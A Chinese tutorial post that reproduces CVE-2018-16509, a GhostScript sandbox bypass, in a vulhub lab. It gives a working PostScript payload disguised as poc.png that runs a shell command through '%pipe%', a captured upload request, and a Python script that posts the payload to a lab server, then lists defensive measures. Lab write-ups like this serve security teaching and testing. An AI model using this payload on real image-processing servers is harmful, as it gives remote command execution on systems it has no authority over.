Python 渗透测试:GhostScript 沙箱绕过.(CVE-2018-16509)

什么是 GhostScript 沙箱绕过

GhostScript 沙箱是一种安全机制,用于在受控环境中运行 GhostScript 解释器,以防止恶意代码的执行。GhostScript 是一个广泛使用的 PDF 和 PostScript 解释器,通常用于在服务器上处理和渲染这些文件格式。Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等。


目录:

什么是 GhostScript 沙箱绕过​​​​​​​

Python 编写渗透测试基础:

GhostScript 沙箱通常包括以下特性:

靶场的开启:

(1)靶场的搭建:

(2)查看目录:

(3)启用 vulhub 漏洞:

(4)进行浏览:主机的 8080 端口.

GhostScript 沙箱绕过:

(1)漏洞的利用方法(命名为poc.png文件):

运行的结果:

(2)上传一个文件时,进行抓包 对数据包分析:

(3)编写代码执行:

防范 GhostScript 沙箱绕过的主要措施包括:


Python 编写渗透测试基础:

(1)漏洞发现和利用走的是什么协议.(2)编写难度是根据协议和探针利用复现复杂程度决定的.例如:mysql类型的漏洞复现漏洞 大部分都是在mysql里面进行python写这个漏洞利用 是不是也要用到mysql的库来进行连接 后续操作 复现一致

GhostScript 沙箱通常包括以下特性:

(1)文件系统访问控制:限制 GhostScript 只能访问指定的目录,防止访问敏感文件。(2)网络访问控制:GhostScript 的网络访问能力,防止它连接到恶意服务器。(3)进程控制:GhostScript 创建新进程的能力,防止它执行任意命令。(4)资源限制:限制 GhostScript 使用 CPU、内存等系统资源的上限,防止资源耗尽。

靶场的开启:

(1)靶场的搭建:Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(2)查看目录:

(1)cd vulhub(2)ls


(3)启用 vulhub 漏洞:

(1)cd ghostscript                       // 切换到对应的漏洞目录.(2)cd CVE-2018-16509               // 切换到对应的漏洞版本.(3)docker-compose build           // 建立容器(4)docker-compose up -d           // 启用漏洞环境.(5)docker ps                      // 查看环境运行状态


(4)进行浏览:主机的 8080 端口.


GhostScript 沙箱绕过:

(1)漏洞的利用方法(命名为poc.png文件):

构成这个数据包,里面的代码创建一个新的文件 /tmp/success
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

 

运行的结果:


(2)上传一个文件时,进行抓包 对数据包分析:

POST / HTTP/1.1
Host: 172.16.10.19:8080
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://172.16.10.19:8080/
Cookie: csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------23194234122378
Content-Length: 410-----------------------------23194234122378
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
-----------------------------23194234122378--


(3)编写代码执行:

import requests             # 导入模块url='http://172.16.10.19:8080/'# 定义一个变量来装数据包中头部.
head={      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3','Accept-Encoding': 'gzip, deflate','Referer': 'http://172.16.10.19:8080/','Cookie': 'csrftoken=ZvnmdubDr9oBu7WKiG5bIWHZTtgDvTCBIz39QfaMx2YPBmueHxmcpPVQAvTrWCPS; sessionid=3tyha7nkq68bx29fxjcfs57w2730jpxr','Connection': 'close','Content-Type': 'multipart/form-data; boundary=---------------------------72831945316609','Content-Length': '410',
}# 定义一个变量来装数据包中内容
data="""-----------------------------72831945316609
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops-----------------------------72831945316609--"""r=requests.post(url,data=data,headers=head).text
# 上传的链接 + 上传的内容 + 数据包的头部
# .text 属性用于获取响应的文本内容,然后赋值r
print(r)
# 打印 


防范 GhostScript 沙箱绕过的主要措施包括:

(1)持续更新和修复 GhostScript:及时修复 GhostScript 中发现的安全漏洞,降低被利用的风险。使用最新版本的 GhostScript,其中包含了更多的安全防护措施。(2)加强沙箱配置:仔细配置沙箱的各项限制,确保其能够有效阻挡各种攻击手段。定期审核和调整沙箱配置,以应对新出现的绕过技术。(3)监控和检测异常行为:监控 GhostScript 在沙箱中的行为,及时发现可疑活动。建立异常行为检测机制,如异常资源消耗、非法文件访问等。(4)多层防御:不仅依赖 GhostScript 沙箱,还应该结合其他安全措施,如Web应用防火墙、入侵检测系统等。形成深度防御体系,提高整体安全性。(5)安全审计和渗透测试:定期对 GhostScript 沙箱进行安全审计,发现并修复存在的漏洞。进行渗透测试,模拟攻击者的行为,验证沙箱的防御能力。(6)安全意识培训:提高运维人员对 GhostScript 安全性的认知,培养他们的安全意识。让运维人员掌握沙箱配置、监控和事件响应的相关知识。

   

    

    

学习链接:第159天:安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/329542.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20232803 2023-2024-2 《网络攻防实践》实践十报告

目录 1. 实践内容1.1 SEED SQL注入攻击与防御实验1.2 SEED XSS跨站脚本攻击实验(Elgg) 2. 实践过程2.1 SEED SQL注入攻击与防御实验2.1.1 熟悉SQL语句2.1.2 对SELECT语句的SQL注入攻击2.1.3 对UPDATE语句的SQL注入攻击2.1.4 SQL对抗 2.2 SEED XSS跨站脚本攻击实验(Elgg)2.2.1 发…

Elasticsearch的Index sorting 索引预排序会导致索引数据的移动吗?

索引预排序可以确保索引数据按照指定字段的指定顺序进行存储,这样在查询的时候,如果固定使用这个字段进行排序就可以加快查询效率。 我们知道数据写入的过程中,如果需要确保数据有序,可能需要在原数据的基础上插入新的数据&#…

[机缘参悟-185] - 《道家-水木然人间清醒1》读书笔记 - 真相本质 -8- 认知觉醒 - 逻辑谬误、认知偏差:幸存者偏差

目录 前言: 一、幸存者偏差 二、幸存者偏差在现实中的应用 第一个故事: 第二个故事: 三、生活中的幸存者偏差 四、迷恋成功者经验的原因:鸡汤、幻想、传奇、希望 备注: 前言: 幸存者偏差&#xff0…

Java 多线程抢红包

问题需求 一个人在群里发了1个100元的红包,被分成了8个,群里有10个人一起来抢红包,有抢到的金额随机分配。 红包功能需要满足哪些具体规则呢? 1、被分的人数抢到的金额之和要等于红包金额,不能多也不能少。 2、每个人至少抢到1元…

免费发布web APP的四个途径(Python和R)

免费发布数据分析类🌐web APP的几个途径📱 数据分析类web APP目前用来部署生信工具,统计工具和预测模型等,便利快捷,深受大家喜爱。而一个免费的APP部署途径,对于开发和测试APP都是必要的。根据笔者的经验…

java面试(多线程)

线程和进程的区别 程序由指令和数据组成,但这些指令要运行,数据要读写,就必须将指令加载至CPU,数据加载至内存。在指令运行过程中还需要用到磁盘,网络等设备。进程就是用来加载指令,管理内存,管…

Android11热点启动和关闭

Android官方关于Wi-Fi Hotspot (Soft AP) 的文章:https://source.android.com/docs/core/connect/wifi-softap?hlzh-cn 在 Android 11 的WifiManager类中有一套系统 API 可以控制热点的开和关,代码如下: 开启热点: val builde…

基于IP子网vlan划分

在某些场景中,客户的终端地址都是固定的,并且有移动的需求,也就是接口不固定,这时候基于接口的VLAN就不合适了,因为通常情况下一个VLAN属于一个网段,对于这种接口之间任意插还能保证业务不受影响的&#xf…

记录centos中操作(查找、结束、批量)进程以及crontab定时写法的知识

环境:vps,centos7,python3。 近期写了个python程序,用青龙面板在centos上运行。程序中有while无限循环,但是我在青龙中设置了定时任务(每隔半小时运行一次),于是造成了进程中有多个…

分布式文件系统minIo

分布式文件系统 什么是分布式文件系统 一个计算机无法存储海量的文件,通过网络将若干计算机组织起来共同去存储海量的文件,去接收海量用户的请求,这些组织起来的计算机通过网络进行通信,如下图: 好处: 1、…

Wpf 使用 Prism 实战开发Day22

客户端添加IDialogService 弹窗服务 在首页点击添加备忘录或待办事项按钮的时候,希望有一个弹窗,进行相对应的内容添加操作。 一.在Views文件夹中,再创建一个Dialog 文件夹,用于放置备忘录和待办事项的弹窗界面。 1.1 备忘录&…

js实现鼠标拖拽多选功能

实现功能 在PC端的H5页面中&#xff0c;客户拖动鼠标可以连选多个选项 效果展示 具体代码如下 <!DOCTYPE html> <html><head><title>鼠标拖拽多选功能</title><script src"https://cdn.bootcss.com/jquery/1.10.2/jquery.min.js&quo…

ZISUOJ 数据结构--图及其应用

说明 主要考察建图&#xff0c;图的遍历以及求最小生成树。都还是比较简单的&#xff0c;后面就直接上代码了。 最小生成树采用prim还是kruskal算法要看题目怎么给出数据&#xff0c;如果以邻接矩阵的形式给出&#xff0c;采用prim算法比较合适&#xff0c;如果以边和边的权重的…

docker三种自定义网络(虚拟网络) overlay实现原理

docker提供了三种自定义网络驱动&#xff1a;bridge、overlay、macvlan。 bridge驱动类似默认的bridge网络模式。 overlay和macvlan是用于创建跨主机网络。 支持自定义网段、网关&#xff0c;docker network create --subnet 172.77.0.0/24 --gateway 172.77.0.1 my_n…

浅谈JMeter测试计划

浅谈JMeter测试计划 创建测试计划 当启动JMeter后&#xff0c;默认进入界面会看到一个测试计划 测试计划组件详情 在上述界面中&#xff0c;我们可以看到测试计划的组成为名称、注释、用户定义的变量、独立运行每个线程组、主线程结束后运行tearDown线程组、函数测试模式以…

科技查新中查新点的怎样进行精确提炼?

根据2015年《科技查新技术规范》&#xff1a;科技查新简称查新&#xff0c;以反映查新项目主题内容的查新点为依据&#xff0c;以计算机检索为主要手段&#xff0c;以获取密切相关文献为检索目标&#xff0c;运用综合分析和对比方法&#xff0c;对查新项目的新颖性做出文献评价…

JMETER工具:以录制手机app为例

JMETER工具&#xff1a;以录制手机app为例子 JMETER安装和环境配置 pc需要安装jdk&#xff0c;并进行jdk的环境配置&#xff0c;安装好jdk并配置好后&#xff0c;通过命令行输入java –version出现以下界面就表示安装成功&#xff1a; &#xff08;对应的jdk版本不可太低&…

深度学习——图像分类(CNN)—训练模型

训练模型 1.导入必要的库2.定义超参数3.读取训练和测试标签CSV文件4.确保标签是字符串类型5.显示两个数据框的前几行以了解它们的结构6.定义图像处理参数7.创建图像数据生成器8.设置目录路径9.创建训练和验证数据生成器10.构建模型11.编译模型12.训练模型并收集历史13.绘制损失…

excel转pdf并且加水印,利用ByteArrayOutputStream内存流不产生中间文件

首先先引入包&#xff1a;加水印和excel转PDF的 <dependency><groupId>com.itextpdf</groupId><artifactId>itextpdf</artifactId><version>5.5.12</version></dependency><dependency><groupId>org.apache.poi&l…

jenkins插件之xunit

安装jenkins插件 搜索xunit并安装 项目配置 配置 - Build Steps 您的项目 - 配置 - Build Steps, 新增 Run with timeout 超时时间根据实际情况配置 Build Step选择 执行SHELL 填写一下命令&#xff0c;这个命令是docker中执行phpunit单元测试&#xff0c;请根据你的实际…